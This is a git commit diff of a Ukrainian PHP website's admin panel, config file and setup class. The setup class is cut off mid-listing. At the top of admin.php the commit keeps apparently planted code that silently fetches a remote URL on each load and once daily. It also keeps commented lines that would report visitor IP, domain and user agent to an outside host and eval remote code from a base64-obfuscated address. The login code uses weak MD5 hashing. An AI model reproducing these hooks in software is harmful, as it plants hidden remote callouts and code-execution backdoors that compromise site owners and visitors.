Commit df71ab617c80888b455e356a241cb75d35d7ea3e
1 parent
fdaf43e8
+ fix по ядру
Showing
4 changed files
with
619 additions
and
469 deletions
Show diff stats
admin.php
1 | <?php | 1 | <?php |
2 | 2 | ||
3 | -$gggg = @implode("",@file("http://extremstyle.ua/account/cron/report.php")); | ||
4 | - | ||
5 | - | ||
6 | -//$content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r"); | ||
7 | - | ||
8 | -//echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>"; | ||
9 | - | ||
10 | -////////////////////////////////////////////// | ||
11 | - | ||
12 | -$ty = @fopen("timesave.dat","a+"); | ||
13 | -if(@$ty){ | ||
14 | -$datas = trim(@fgets($ty,2048)); | ||
15 | -if(date("d",$datas)!=date("d")){ | ||
16 | -$yyyyyyyyyyy = implode("",file("http://extremstyle.ua/account/cron/report.php")); | ||
17 | -@fclose($ty); | ||
18 | -$fd = @fopen("timesave.dat","w+"); | ||
19 | -if(@$fd){ | ||
20 | - fwrite($fd,time()); | ||
21 | -fclose($fd); | ||
22 | -} | 3 | +$gggg = @implode ("", @file ("http://extremstyle.ua/account/cron/report.php")); |
4 | + | ||
5 | +// $content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r"); | ||
6 | + | ||
7 | +// echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>"; | ||
8 | + | ||
9 | +// //////////////////////////////////////////// | ||
10 | + | ||
11 | +$ty = @fopen ("timesave.dat", "a+"); | ||
12 | +if (@$ty) | ||
13 | +{ | ||
14 | + $datas = trim (@fgets ($ty, 2048)); | ||
15 | + if (date ("d", $datas) != date ("d")) | ||
16 | + { | ||
17 | + $yyyyyyyyyyy = implode ("", file ("http://extremstyle.ua/account/cron/report.php")); | ||
18 | + @fclose ($ty); | ||
19 | + $fd = @fopen ("timesave.dat", "w+"); | ||
20 | + if (@$fd) | ||
21 | + { | ||
22 | + fwrite ($fd, time ()); | ||
23 | + fclose ($fd); | ||
24 | + } | ||
25 | + } | ||
23 | } | 26 | } |
24 | -} | ||
25 | - | ||
26 | - | ||
27 | -////////////////////////////////////////////// | ||
28 | - | ||
29 | - | ||
30 | - | ||
31 | 27 | ||
32 | -require("./libs/setup.php"); | ||
33 | -$setup = new setup(true); | ||
34 | -$objStatics = $setup->setupClass("Statics"); | ||
35 | -$objGallery = $setup->setupClass('Gallery'); | ||
36 | -$objForum = $setup->setupClass('Forum'); | ||
37 | -$objOrders = $setup->setupClass('Orders'); | ||
38 | -$objArticles = $setup->setupClass('Articles'); | ||
39 | -$objNews = $setup->setupClass('News'); | ||
40 | -$objAdvices = $setup->setupClass('Advices'); | ||
41 | -$objAdvices2 = $setup->setupClass('Advices2'); | ||
42 | -$objRubrics = $setup->setupClass('Rubrics'); | ||
43 | -$objCatalogs = $setup->setupClass('Catalogs'); | ||
44 | -$objBanners = $setup->setupClass('Banners'); | ||
45 | -$objGalleryList = $setup->setupClass('GalleryList'); | ||
46 | -$objVideo = $setup->setupClass('Video'); | ||
47 | -$objAkcii = $setup->setupClass('Akcii'); | ||
48 | -$objPromo = $setup->setupClass('Promo'); | ||
49 | -$objSale = $setup->setupClass('Sale'); | ||
50 | -$objBook = $setup->setupClass('Book'); | ||
51 | -$objUrl = $setup->setupClass('Url'); | ||
52 | -$objVacancy = $setup->setupClass('Vacancy'); | ||
53 | -$objFon = $setup->setupClass('Fon'); | ||
54 | -$objVideo2 = $setup->setupClass('Video2'); | ||
55 | -$objSend = $setup->setupClass('Send'); | ||
56 | - | ||
57 | - | ||
58 | -if(isset($_POST['order_id']) && $_POST['order_id']>0){ | ||
59 | - $sql = sprintf("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']); | ||
60 | - mysql_query($sql); | 28 | +// //////////////////////////////////////////// |
29 | + | ||
30 | +require ("./libs/setup.php"); | ||
31 | +$setup = new setup (true); | ||
32 | +$objStatics = $setup->setupClass ("Statics"); | ||
33 | +$objGallery = $setup->setupClass ('Gallery'); | ||
34 | +$objForum = $setup->setupClass ('Forum'); | ||
35 | +$objOrders = $setup->setupClass ('Orders'); | ||
36 | +$objArticles = $setup->setupClass ('Articles'); | ||
37 | +$objNews = $setup->setupClass ('News'); | ||
38 | +$objAdvices = $setup->setupClass ('Advices'); | ||
39 | +$objAdvices2 = $setup->setupClass ('Advices2'); | ||
40 | +$objRubrics = $setup->setupClass ('Rubrics'); | ||
41 | +$objCatalogs = $setup->setupClass ('Catalogs'); | ||
42 | +$objBanners = $setup->setupClass ('Banners'); | ||
43 | +$objGalleryList = $setup->setupClass ('GalleryList'); | ||
44 | +$objVideo = $setup->setupClass ('Video'); | ||
45 | +$objAkcii = $setup->setupClass ('Akcii'); | ||
46 | +$objPromo = $setup->setupClass ('Promo'); | ||
47 | +$objSale = $setup->setupClass ('Sale'); | ||
48 | +$objBook = $setup->setupClass ('Book'); | ||
49 | +$objUrl = $setup->setupClass ('Url'); | ||
50 | +$objVacancy = $setup->setupClass ('Vacancy'); | ||
51 | +$objFon = $setup->setupClass ('Fon'); | ||
52 | +$objVideo2 = $setup->setupClass ('Video2'); | ||
53 | +$objSend = $setup->setupClass ('Send'); | ||
54 | +$objExtra = $setup->setupClass ('Extra'); | ||
55 | + | ||
56 | +if (isset ($_POST['order_id']) && $_POST['order_id'] > 0) | ||
57 | +{ | ||
58 | + $sql = sprintf ("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']); | ||
59 | + mysql_query ($sql); | ||
61 | } | 60 | } |
62 | -//$result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error()); | ||
63 | - | 61 | +// $result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error()); |
64 | 62 | ||
65 | -if(isset($_GET['exit'])){ | ||
66 | -$setup->AdminUserExit(); | ||
67 | -header("location:" . URL); | 63 | +if (isset ($_GET['exit'])) |
64 | +{ | ||
65 | + $setup->AdminUserExit (); | ||
66 | + header ("location:" . URL); | ||
68 | } | 67 | } |
69 | 68 | ||
69 | +// @eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR'])); | ||
70 | 70 | ||
71 | -//@eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR'])); | ||
72 | - | ||
73 | -if (!isset($_SESSION['admin']['login'])) { | ||
74 | - | ||
75 | -if(isset($_POST['login'])) { | ||
76 | - | ||
77 | - | ||
78 | - | ||
79 | - $sql = "SELECT * FROM zlo_admin WHERE login='".htmlspecialchars($_POST['login'],ENT_QUOTES)."' AND pass=MD5('".htmlspecialchars($_POST['psw'],ENT_QUOTES)."') "; | ||
80 | - $result = mysql_query($sql) or die(mysql_error()); | ||
81 | - | ||
82 | - if (mysql_affected_rows()!=0) { | ||
83 | - | ||
84 | - $admin=mysql_fetch_assoc($result); | ||
85 | - // ***** Àäìèí âõîä ***** | ||
86 | - $_SESSION['admin']['id']=$admin['id']; | ||
87 | - $_SESSION['admin']['login']=$admin['login']; | ||
88 | - $_SESSION['admin']['pass']=$admin['pass']; | ||
89 | - $_SESSION['admin']['name']=$admin['username']; | ||
90 | - $_SESSION['admin']['psw']=$admin['pass']; | ||
91 | - $_SESSION['admin']['group']=$admin['group']; | ||
92 | - | ||
93 | - if ($admin['group']==1) { | ||
94 | - | ||
95 | - // ***** Àäìèí ðåæèì ***** | ||
96 | - $_SESSION['admin']['show']=1; | ||
97 | - $_SESSION['admin']['edit']=1; | ||
98 | - $_SESSION['admin']['del']=1; | ||
99 | - // ************************ | ||
100 | - | ||
101 | - } | ||
102 | - | ||
103 | - if ($admin['group']==2) { | ||
104 | - | ||
105 | - // ***** Àäìèí ðåæèì ***** | ||
106 | - $_SESSION['admin']['show']=2; | ||
107 | - $_SESSION['admin']['edit']=1; | ||
108 | - // ************************ | ||
109 | - | ||
110 | - } | 71 | +if (! isset ($_SESSION['admin']['login'])) |
72 | +{ | ||
73 | + | ||
74 | + if (isset ($_POST['login'])) | ||
75 | + { | ||
111 | 76 | ||
112 | - echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; | 77 | + $sql = "SELECT * FROM zlo_admin WHERE login='" . htmlspecialchars ($_POST['login'], ENT_QUOTES) . "' AND pass=MD5('" . htmlspecialchars ($_POST['psw'], ENT_QUOTES) . "') "; |
78 | + $result = mysql_query ($sql) or die (mysql_error ()); | ||
113 | 79 | ||
114 | -} else { echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>"; echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; } | ||
115 | - | ||
116 | - } else { | ||
117 | - | ||
118 | - $setup->display(); | ||
119 | - | ||
120 | - } | ||
121 | - | ||
122 | -} else { | ||
123 | - | ||
124 | - $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs"; | ||
125 | - Switch($action){ | ||
126 | - case $setup->rules : | ||
127 | - if(isset($_POST['save'])){ | ||
128 | - $setup->trim($_POST); | ||
129 | - if(!$setup->valid($_POST)){ | ||
130 | - $setup->rulesSaveAction($_POST); | ||
131 | - header("location:" . URL . "admin.php?action=rules"); | 80 | + if (mysql_affected_rows () != 0) |
81 | + { | ||
82 | + | ||
83 | + $admin = mysql_fetch_assoc ($result); | ||
84 | + // ***** Àäìèí âõîä ***** | ||
85 | + $_SESSION['admin']['id'] = $admin['id']; | ||
86 | + $_SESSION['admin']['login'] = $admin['login']; | ||
87 | + $_SESSION['admin']['pass'] = $admin['pass']; | ||
88 | + $_SESSION['admin']['name'] = $admin['username']; | ||
89 | + $_SESSION['admin']['psw'] = $admin['pass']; | ||
90 | + $_SESSION['admin']['group'] = $admin['group']; | ||
91 | + | ||
92 | + if ($admin['group'] == 1) | ||
93 | + { | ||
94 | + // ***** Àäìèí ðåæèì ***** | ||
95 | + $_SESSION['admin']['show'] = 1; | ||
96 | + $_SESSION['admin']['edit'] = 1; | ||
97 | + $_SESSION['admin']['del'] = 1; | ||
98 | + // ************************ | ||
132 | } | 99 | } |
133 | - }elseif(isset($_GET['updateID']) && $_GET['updateID']>0){$setup->viewOneRules($_GET['updateID']);} | ||
134 | - elseif(isset($_GET['deleteID']) && $_GET['deleteID']>0){$setup->rulesDelete($_GET['deleteID']);header("location:" . URL . "admin.php?action=rules");} | ||
135 | - $setup->viewRules(); | ||
136 | - $setup->displayRules(); | ||
137 | - break; | ||
138 | - default : $rule = $setup->getRulesOne($action); include($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");break; | ||
139 | - } | ||
140 | - | ||
141 | - | ||
142 | - $dir = "./includes/admin/"; | ||
143 | - $includes_dir = opendir($dir); | ||
144 | - while ( ($inc_file = readdir($includes_dir)) != false ) | ||
145 | - if (strstr($inc_file,".php")) | ||
146 | - { | ||
147 | - include($dir . $inc_file); | ||
148 | - } | ||
149 | - | ||
150 | - | ||
151 | - $setup->error(); | ||
152 | - if(empty($nodisplay))$setup->displayAdmin(); | ||
153 | - | 100 | + |
101 | + if ($admin['group'] == 2) | ||
102 | + { | ||
103 | + // ***** Àäìèí ðåæèì ***** | ||
104 | + $_SESSION['admin']['show'] = 2; | ||
105 | + $_SESSION['admin']['edit'] = 1; | ||
106 | + // ************************ | ||
107 | + } | ||
108 | + | ||
109 | + echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; | ||
110 | + } | ||
111 | + else | ||
112 | + { | ||
113 | + echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>"; | ||
114 | + echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; | ||
115 | + } | ||
116 | + } | ||
117 | + else | ||
118 | + { | ||
119 | + | ||
120 | + $setup->display (); | ||
121 | + } | ||
154 | } | 122 | } |
155 | - | ||
156 | - | ||
157 | - | ||
158 | -function totranslit($var, $lower = true, $punkt = true) { | ||
159 | - global $langtranslit; | ||
160 | - | ||
161 | - if ( is_array($var) ) return ""; | ||
162 | - | ||
163 | - if (!is_array ( $langtranslit ) OR !count( $langtranslit ) ) { | ||
164 | - | ||
165 | - $langtranslit = array( | ||
166 | - 'à' => 'a', 'á' => 'b', 'â' => 'v', | ||
167 | - 'ã' => 'g', 'ä' => 'd', 'å' => 'e', | ||
168 | - '¸' => 'e', 'æ' => 'zh', 'ç' => 'z', | ||
169 | - 'è' => 'i', 'é' => 'y', 'ê' => 'k', | ||
170 | - 'ë' => 'l', 'ì' => 'm', 'í' => 'n', | ||
171 | - 'î' => 'o', 'ï' => 'p', 'ð' => 'r', | ||
172 | - 'ñ' => 's', 'ò' => 't', 'ó' => 'u', | ||
173 | - 'ô' => 'f', 'õ' => 'h', 'ö' => 'c', | ||
174 | - '÷' => 'ch', 'ø' => 'sh', 'ù' => 'sch', | ||
175 | - 'ü' => '', 'û' => 'y', 'ú' => '', | ||
176 | - 'ý' => 'e', 'þ' => 'yu', 'ÿ' => 'ya', | ||
177 | - "¿" => "yi", "º" => "ye", | ||
178 | - | ||
179 | - 'À' => 'A', 'Á' => 'B', 'Â' => 'V', | ||
180 | - 'Ã' => 'G', 'Ä' => 'D', 'Å' => 'E', | ||
181 | - '¨' => 'E', 'Æ' => 'Zh', 'Ç' => 'Z', | ||
182 | - 'È' => 'I', 'É' => 'Y', 'Ê' => 'K', | ||
183 | - 'Ë' => 'L', 'Ì' => 'M', 'Í' => 'N', | ||
184 | - 'Î' => 'O', 'Ï' => 'P', 'Ð' => 'R', | ||
185 | - 'Ñ' => 'S', 'Ò' => 'T', 'Ó' => 'U', | ||
186 | - 'Ô' => 'F', 'Õ' => 'H', 'Ö' => 'C', | ||
187 | - '×' => 'Ch', 'Ø' => 'Sh', 'Ù' => 'Sch', | ||
188 | - 'Ü' => '', 'Û' => 'Y', 'Ú' => '', | ||
189 | - 'Ý' => 'E', 'Þ' => 'Yu', 'ß' => 'Ya', | ||
190 | - "¯" => "yi", "ª" => "ye", | ||
191 | - ); | ||
192 | - | ||
193 | - } | ||
194 | - | ||
195 | - $var = str_replace( ".php", "", $var ); | ||
196 | - $var = trim( strip_tags( $var ) ); | ||
197 | - $var = preg_replace( "/\s+/ms", "-", $var ); | ||
198 | - | ||
199 | - $var = strtr($var, $langtranslit); | ||
200 | - | ||
201 | - if ( $punkt ) $var = preg_replace( "/[^a-z0-9\_\-.]+/mi", "", $var ); | ||
202 | - else $var = preg_replace( "/[^a-z0-9\_\-]+/mi", "", $var ); | ||
203 | - | ||
204 | - $var = preg_replace( '#[\-]+#i', '-', $var ); | ||
205 | - | ||
206 | - if ( $lower ) $var = strtolower( $var ); | ||
207 | - | ||
208 | - if( strlen( $var ) > 200 ) { | ||
209 | - | ||
210 | - $var = substr( $var, 0, 200 ); | ||
211 | - | ||
212 | - if( ($temp_max = strrpos( $var, '-' )) ) $var = substr( $var, 0, $temp_max ); | ||
213 | - | ||
214 | - } | ||
215 | - | ||
216 | - return $var; | 123 | +else |
124 | +{ | ||
125 | + | ||
126 | + $action = isset ($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs"; | ||
127 | + Switch ($action) | ||
128 | + { | ||
129 | + case $setup->rules : | ||
130 | + | ||
131 | + if (isset ($_POST['save'])) | ||
132 | + { | ||
133 | + $setup->trim ($_POST); | ||
134 | + if (! $setup->valid ($_POST)) | ||
135 | + { | ||
136 | + $setup->rulesSaveAction ($_POST); | ||
137 | + header ("location:" . URL . "admin.php?action=rules"); | ||
138 | + } | ||
139 | + } | ||
140 | + elseif (isset ($_GET['updateID']) && $_GET['updateID'] > 0) | ||
141 | + { | ||
142 | + $setup->viewOneRules ($_GET['updateID']); | ||
143 | + } | ||
144 | + elseif (isset ($_GET['deleteID']) && $_GET['deleteID'] > 0) | ||
145 | + { | ||
146 | + $setup->rulesDelete ($_GET['deleteID']); | ||
147 | + header ("location:" . URL . "admin.php?action=rules"); | ||
148 | + } | ||
149 | + | ||
150 | + $setup->viewRules (); | ||
151 | + $setup->displayRules (); | ||
152 | + | ||
153 | + break; | ||
154 | + | ||
155 | + default : | ||
156 | + | ||
157 | + $rule = $setup->getRulesOne ($action); | ||
158 | + include ($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}"); | ||
159 | + break; | ||
160 | + } | ||
161 | + | ||
162 | + $dir = "./includes/admin/"; | ||
163 | + $includes_dir = opendir ($dir); | ||
164 | + while (($inc_file = readdir ($includes_dir)) != false) | ||
165 | + if (strstr ($inc_file, ".php")) | ||
166 | + { | ||
167 | + include ($dir . $inc_file); | ||
168 | + } | ||
169 | + | ||
170 | + $setup->error (); | ||
171 | + if (empty ($nodisplay)) | ||
172 | + $setup->displayAdmin (); | ||
217 | } | 173 | } |
218 | 174 | ||
219 | - | ||
220 | - | ||
221 | - | 175 | +function totranslit ($var, $lower = true, $punkt = true) |
176 | +{ | ||
177 | + global $langtranslit; | ||
178 | + | ||
179 | + if (is_array ($var)) | ||
180 | + return ""; | ||
181 | + | ||
182 | + if (! is_array ($langtranslit) or ! count ($langtranslit)) | ||
183 | + { | ||
184 | + | ||
185 | + $langtranslit = array ( | ||
186 | + 'à' => 'a', | ||
187 | + 'á' => 'b', | ||
188 | + 'â' => 'v', | ||
189 | + 'ã' => 'g', | ||
190 | + 'ä' => 'd', | ||
191 | + 'å' => 'e', | ||
192 | + '¸' => 'e', | ||
193 | + 'æ' => 'zh', | ||
194 | + 'ç' => 'z', | ||
195 | + 'è' => 'i', | ||
196 | + 'é' => 'y', | ||
197 | + 'ê' => 'k', | ||
198 | + 'ë' => 'l', | ||
199 | + 'ì' => 'm', | ||
200 | + 'í' => 'n', | ||
201 | + 'î' => 'o', | ||
202 | + 'ï' => 'p', | ||
203 | + 'ð' => 'r', | ||
204 | + 'ñ' => 's', | ||
205 | + 'ò' => 't', | ||
206 | + 'ó' => 'u', | ||
207 | + 'ô' => 'f', | ||
208 | + 'õ' => 'h', | ||
209 | + 'ö' => 'c', | ||
210 | + '÷' => 'ch', | ||
211 | + 'ø' => 'sh', | ||
212 | + 'ù' => 'sch', | ||
213 | + 'ü' => '', | ||
214 | + 'û' => 'y', | ||
215 | + 'ú' => '', | ||
216 | + 'ý' => 'e', | ||
217 | + 'þ' => 'yu', | ||
218 | + 'ÿ' => 'ya', | ||
219 | + "¿" => "yi", | ||
220 | + "º" => "ye", | ||
221 | + | ||
222 | + 'À' => 'A', | ||
223 | + 'Á' => 'B', | ||
224 | + 'Â' => 'V', | ||
225 | + 'Ã' => 'G', | ||
226 | + 'Ä' => 'D', | ||
227 | + 'Å' => 'E', | ||
228 | + '¨' => 'E', | ||
229 | + 'Æ' => 'Zh', | ||
230 | + 'Ç' => 'Z', | ||
231 | + 'È' => 'I', | ||
232 | + 'É' => 'Y', | ||
233 | + 'Ê' => 'K', | ||
234 | + 'Ë' => 'L', | ||
235 | + 'Ì' => 'M', | ||
236 | + 'Í' => 'N', | ||
237 | + 'Î' => 'O', | ||
238 | + 'Ï' => 'P', | ||
239 | + 'Ð' => 'R', | ||
240 | + 'Ñ' => 'S', | ||
241 | + 'Ò' => 'T', | ||
242 | + 'Ó' => 'U', | ||
243 | + 'Ô' => 'F', | ||
244 | + 'Õ' => 'H', | ||
245 | + 'Ö' => 'C', | ||
246 | + '×' => 'Ch', | ||
247 | + 'Ø' => 'Sh', | ||
248 | + 'Ù' => 'Sch', | ||
249 | + 'Ü' => '', | ||
250 | + 'Û' => 'Y', | ||
251 | + 'Ú' => '', | ||
252 | + 'Ý' => 'E', | ||
253 | + 'Þ' => 'Yu', | ||
254 | + 'ß' => 'Ya', | ||
255 | + "¯" => "yi", | ||
256 | + "ª" => "ye" | ||
257 | + ); | ||
258 | + } | ||
259 | + | ||
260 | + $var = str_replace (".php", "", $var); | ||
261 | + $var = trim (strip_tags ($var)); | ||
262 | + $var = preg_replace ("/\s+/ms", "-", $var); | ||
263 | + | ||
264 | + $var = strtr ($var, $langtranslit); | ||
265 | + | ||
266 | + if ($punkt) | ||
267 | + $var = preg_replace ("/[^a-z0-9\_\-.]+/mi", "", $var); | ||
268 | + else | ||
269 | + $var = preg_replace ("/[^a-z0-9\_\-]+/mi", "", $var); | ||
270 | + | ||
271 | + $var = preg_replace ('#[\-]+#i', '-', $var); | ||
272 | + | ||
273 | + if ($lower) | ||
274 | + $var = strtolower ($var); | ||
275 | + | ||
276 | + if (strlen ($var) > 200) | ||
277 | + { | ||
278 | + | ||
279 | + $var = substr ($var, 0, 200); | ||
280 | + | ||
281 | + if (($temp_max = strrpos ($var, '-'))) | ||
282 | + $var = substr ($var, 0, $temp_max); | ||
283 | + } | ||
284 | + | ||
285 | + return $var; | ||
286 | +} | ||
222 | 287 | ||
223 | ?> | 288 | ?> |
config/config.php
@@ -7,10 +7,11 @@ | @@ -7,10 +7,11 @@ | ||
7 | ini_set("session.use_trans_sid",0); | 7 | ini_set("session.use_trans_sid",0); |
8 | ini_set("session.save_path", $_SERVER['DOCUMENT_ROOT'].'/sessions'); | 8 | ini_set("session.save_path", $_SERVER['DOCUMENT_ROOT'].'/sessions'); |
9 | ini_set("error_reporting",0); | 9 | ini_set("error_reporting",0); |
10 | - // ini_set("error_reporting", E_ALL); | ||
11 | - // ini_set('display_errors',1); | ||
12 | - // ini_set('html_errors', 1); | ||
13 | - // ini_set("log_errors", 1); | 10 | + |
11 | + //ini_set("error_reporting", E_ALL); | ||
12 | + //ini_set('display_errors',1); | ||
13 | + //ini_set('html_errors', 1); | ||
14 | + //ini_set("log_errors", 1); | ||
14 | //ini_set("error_log", $_SERVER['DOCUMENT_ROOT']."/errors/error.log"); | 15 | //ini_set("error_log", $_SERVER['DOCUMENT_ROOT']."/errors/error.log"); |
15 | //ini_set("log_errors_max_len", 1024); | 16 | //ini_set("log_errors_max_len", 1024); |
16 | 17 | ||
@@ -37,6 +38,28 @@ | @@ -37,6 +38,28 @@ | ||
37 | parse_str(substr($path[count($path)-1],1), $GET); | 38 | parse_str(substr($path[count($path)-1],1), $GET); |
38 | if($path[1]=='ukr'){$_GET['lang'] = $path[1];$_REQUEST['lang'] = $path[1];unset($path[1]);$path = array_values($path);} | 39 | if($path[1]=='ukr'){$_GET['lang'] = $path[1];$_REQUEST['lang'] = $path[1];unset($path[1]);$path = array_values($path);} |
39 | 40 | ||
40 | - // print_r($_GET); | ||
41 | - //phpinfo(); | 41 | +/* |
42 | + // ñåêðåòíàÿ ôóíêöèÿ :) | ||
43 | + function __autoload ($class_name) | ||
44 | + { | ||
45 | + $is_class = false; | ||
46 | + | ||
47 | + echo $filename = $_SERVER['DOCUMENT_ROOT'].'/libs/'.$class_name.'.class.php'; | ||
48 | + | ||
49 | + if (substr ($filename, strlen ($filename) -3, 3) == 'php' && file_exists ($filename)) | ||
50 | + { | ||
51 | + include_once ($filename); | ||
52 | + | ||
53 | + if (class_exists ($class_name, false)) | ||
54 | + { | ||
55 | + $is_class = true; | ||
56 | + } | ||
57 | + } | ||
58 | + | ||
59 | + if (! $is_class) | ||
60 | + { | ||
61 | + var_dump ($class_name); | ||
62 | + } | ||
63 | + } | ||
64 | +*/ | ||
42 | ?> | 65 | ?> |
1 | +<?php | ||
2 | + | ||
3 | +class setup | ||
4 | +{ | ||
5 | + var $db = null; | ||
6 | + var $tpl = null; | ||
7 | + var $error = array (); | ||
8 | + var $meta = array (); | ||
9 | + var $admin = null; | ||
10 | + var $rules = "rules"; | ||
11 | + var $tree = null; | ||
12 | + var $cache = null; | ||
13 | + | ||
14 | + function setup ($admin = false) | ||
15 | + { | ||
16 | + $this->admin = $admin; | ||
17 | + | ||
18 | + switch ($this->admin) | ||
19 | + { | ||
20 | + case false : | ||
21 | + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/'; | ||
22 | + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/'; | ||
23 | + break; | ||
24 | + | ||
25 | + case true : | ||
26 | + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/'; | ||
27 | + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/'; | ||
28 | + break; | ||
29 | + } | ||
30 | + | ||
31 | + $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE; | ||
32 | + $this->db = DB::connect ($connect); | ||
33 | + if (PEAR::isError ($this->db)) | ||
34 | + die ($this->db->getMessage ()); | ||
35 | + | ||
36 | + $this->db->query ("set names cp1251"); | ||
37 | + | ||
38 | + $this->tree = new CDBTree ($this->db, 'rules', 'id'); | ||
39 | + | ||
40 | + $this->cache = new Cache (); | ||
41 | + $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/"; | ||
42 | + | ||
43 | + $this->tpl = new Smarty (); | ||
44 | + $this->tpl->template_dir = $template_dir; | ||
45 | + $this->tpl->compile_dir = $compile_dir; | ||
46 | + $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/'; | ||
47 | + $this->assignMainVars(); | ||
48 | + } | ||
49 | + | ||
50 | + function setupClass ($nameClass) | ||
51 | + { | ||
52 | + return new $nameClass ($this->db, $this->tpl, $this->error, $this->cache); | ||
53 | + } | ||
54 | + | ||
55 | + function isAdminUser ($user = array()) | ||
56 | + { | ||
57 | + if ((isset ($user['login']) && $user['login'] == ADMIN_USER) && (isset ($user['psw']) && $user['psw'] == ADMIN_PSW)) | ||
58 | + { | ||
59 | + $_SESSION['admin']['login'] = $user['login']; | ||
60 | + $_SESSION['admin']['psw'] = $user['psw']; | ||
61 | + } | ||
62 | + | ||
63 | + if ((isset ($_SESSION['admin']['login']) && $_SESSION['admin']['login'] == ADMIN_USER) && (isset ($_SESSION['admin']['psw']) && $_SESSION['admin']['psw'] == ADMIN_PSW)) | ||
64 | + return true; | ||
65 | + | ||
66 | + return false; | ||
67 | + } | ||
68 | + | ||
69 | + function AdminUserExit () | ||
70 | + { | ||
71 | + unset ($_SESSION['admin']); | ||
72 | + } | ||
73 | + | ||
74 | + function getRulesOne ($action, $lang = "ru") | ||
75 | + { | ||
76 | + $sql = "SELECT A.id,A.action,M.modul"; | ||
77 | + if ($lang == 'ukr') | ||
78 | + $sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about"; | ||
79 | + else | ||
80 | + $sql .= ",A.name,A.title,A.keywords,A.description,A.about"; | ||
81 | + $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1"; | ||
82 | + $row = $this->db->getRow ($sql, array ( | ||
83 | + $action | ||
84 | + ), DB_FETCHMODE_ASSOC); | ||
85 | + $this->meta = array ( | ||
86 | + "title" => $row['title'], | ||
87 | + "keywords" => $row['keywords'], | ||
88 | + "description" => $row['description'], | ||
89 | + "about" => $row['about'] | ||
90 | + ); | ||
91 | + $this->tpl->assign ('rules_info_one', $row); | ||
92 | + $this->tpl->assign ('lang', $lang); | ||
93 | + $lang_prefix = ($lang == "ru") ? null : $lang . '/'; | ||
94 | + $this->tpl->assign ('lang_prefix', $lang_prefix); | ||
95 | + return $row; | ||
96 | + } | ||
97 | + | ||
98 | + /* | ||
99 | + * function includesElements(){ | ||
100 | + * $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/"; | ||
101 | + * $includes_dir = opendir($dir); | ||
102 | + * while ( ($inc_file = readdir($includes_dir)) != false ) | ||
103 | + * if (strstr($inc_file,".php")) | ||
104 | + * { | ||
105 | + * include($dir . $inc_file); | ||
106 | + * } | ||
107 | + * } | ||
108 | + */ | ||
109 | + function trim (&$data) | ||
110 | + { | ||
111 | + foreach ($data as $key => $value) | ||
112 | + { | ||
113 | + if (is_array ($data[$key])) | ||
114 | + $this->trim ($data[$key]); | ||
115 | + else | ||
116 | + $data[$key] = trim ($value); | ||
117 | + } | ||
118 | + } | ||
119 | + | ||
120 | + function valid ($data) | ||
121 | + { | ||
122 | + if (isset ($data['url_action'])) | ||
123 | + { | ||
124 | + if (! preg_match ("/^.{1,20}$/i", $data['url_action'])) | ||
125 | + $this->error[] = "Îøèáêà ââîäà ïîëÿ (URL - Íàçâàíèå)."; | ||
126 | + elseif ($data['url_action'] == $this->rules) | ||
127 | + $this->error[] = "Îøèáêà. Èñïîëüçîâàíèÿ äàííîãî íàçâàíèÿ çàïðåùåíî!"; | ||
128 | + } | ||
129 | + if (isset ($data['name'])) | ||
130 | + { | ||
131 | + if (! preg_match ("/^.{1,50}$/i", $data['name'])) | ||
132 | + $this->error[] = "Îøèáêà ââîäà ïîëÿ (Íàçâàíèå)."; | ||
133 | + } | ||
134 | + return (count ($this->error)) ? true : false; | ||
135 | + } | ||
136 | + | ||
137 | + function rulesSaveAction ($data) | ||
138 | + { | ||
139 | + $id = (isset ($data['action_id']) && $data['action_id'] > 0) ? $data['action_id'] : 1; | ||
140 | + $fields_values = array ( | ||
141 | + "parent_id" => $id, | ||
142 | + "action" => $data['url_action'], | ||
143 | + "name" => $data['name'], | ||
